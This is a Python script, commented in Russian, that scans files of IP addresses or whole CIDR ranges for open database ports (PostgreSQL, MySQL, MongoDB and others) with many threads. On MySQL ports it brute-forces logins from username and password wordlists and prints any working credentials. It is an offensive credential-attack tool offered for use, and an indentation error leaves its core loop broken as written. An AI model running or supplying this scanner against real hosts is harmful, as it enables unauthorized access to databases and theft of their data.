#!/usr/bin/python3
import threading
import socket
from netaddr import *
import sys
import time
import optparse
import MySQLdb

#функция много поточного запуска scan_port_db
def thread(ip, port):
    t = threading.Thread(target=scan_port_db, args=(str(ip), port))
    t.start()
    time.sleep(0.001)
   
def thread_brut_db(host, port):
    t = threading.Thread(target=brut_db, args=(host, port))
    t.start()
    time.sleep(0.5)
    
#функция принимает адрес хоста и порт
#и если находит передает в функцию брута лог\пас дб            
def scan_port_db(host, port):   
    try:        
        scan = socket.socket()
        scan.settimeout(1)
        scan.connect((host, port))
        
        print('[+] brut forse DB host: {} port {}'.format(host, port))
            #подбрутить дефолтных пользователей
        thread_brut_db(host, port)
            
        scan.close()
    except socket.error:
        pass
    except KeyboardInterrupt:
        user_input = input('[!] Для выхода нажмите y, или любую клавишу что-бы продолжить')
        if user_input == 'y':
            sys.exit()
         
#функция перебора логина пороля бд
def brut_db(host, port):    
    with open(logins, 'r') as list_login:
        for user in list_login:
            user = user.replace('\n', '')
            with open(passwords, 'r') as list_pass:
                for password in list_pass:
                    password = password.replace('\n', '')
                    try:
                        if port == 3306:
                        connection = MySQLdb.connect(host=host, port=port, user=user, password=password, connect_timeout=1)
                        print('[+] Host {} login: {} password: {}'.format(host, user, password))
                    except Exception as e:
                        print(e)
                        #pass
                    except KeyboardInterrupt:
                        sys.exit()

        
argument = optparse.OptionParser()
argument.add_option('-i', '--ip', dest='ip', help='Путь до файла с ip-адресами')
argument.add_option('-r', '--range-ip', dest='range_ip', help='Путь до файла с диапазонами ip-адресов')

argument.add_option('-l', '--logins', dest='logins', help='Путь до файла с логинами')
argument.add_option('-p', '--password', dest='passwords', help='Путь до файла с паролями')
    
(options, arguments) = argument.parse_args()
    
#стандартные порты
ports = [5432, 3306, 27017, 210]   

logins = ''
passwords = ''

if not options.logins:
    pass
elif not options.passwords:
    pass
else:
    logins = options.logins
    passwords = options.passwords
        
#чтение ip адресов формата 192.168.1.16
#перебор ip аресов, пербор портов и передача в функцию сканирования
if options.ip:
    #ports = [5432, 3306, 1433]
    with open(options.ip, 'r') as ip_list:
        for ip in ip_list:
            for port in ports:
                ip = ip.rstrip()
                thread(ip, port)
    
#чтение диапазонов ip адресов формата 192.168.1.1/24  
#перебор диапазона, перебор портов и передача функции сканирования          
elif options.range_ip:
    #ports = [5432, 3306, 1433]
    with open(options.range_ip, 'r') as range_ip_list:
        for range_ip in range_ip_list:
            range_ip = range_ip.replace('\n', '')
            list_ip_addr = IPNetwork(range_ip)
            for ip_addr in list_ip_addr:
                for port in ports:
                    thread(ip_addr, port)
  
'''
ip_range = '192.168.1.1/24'
ports = [5432, 3306, 1433]        
#brut_force_range_ip(ip_range, ports)
#get_argument()
'''
    
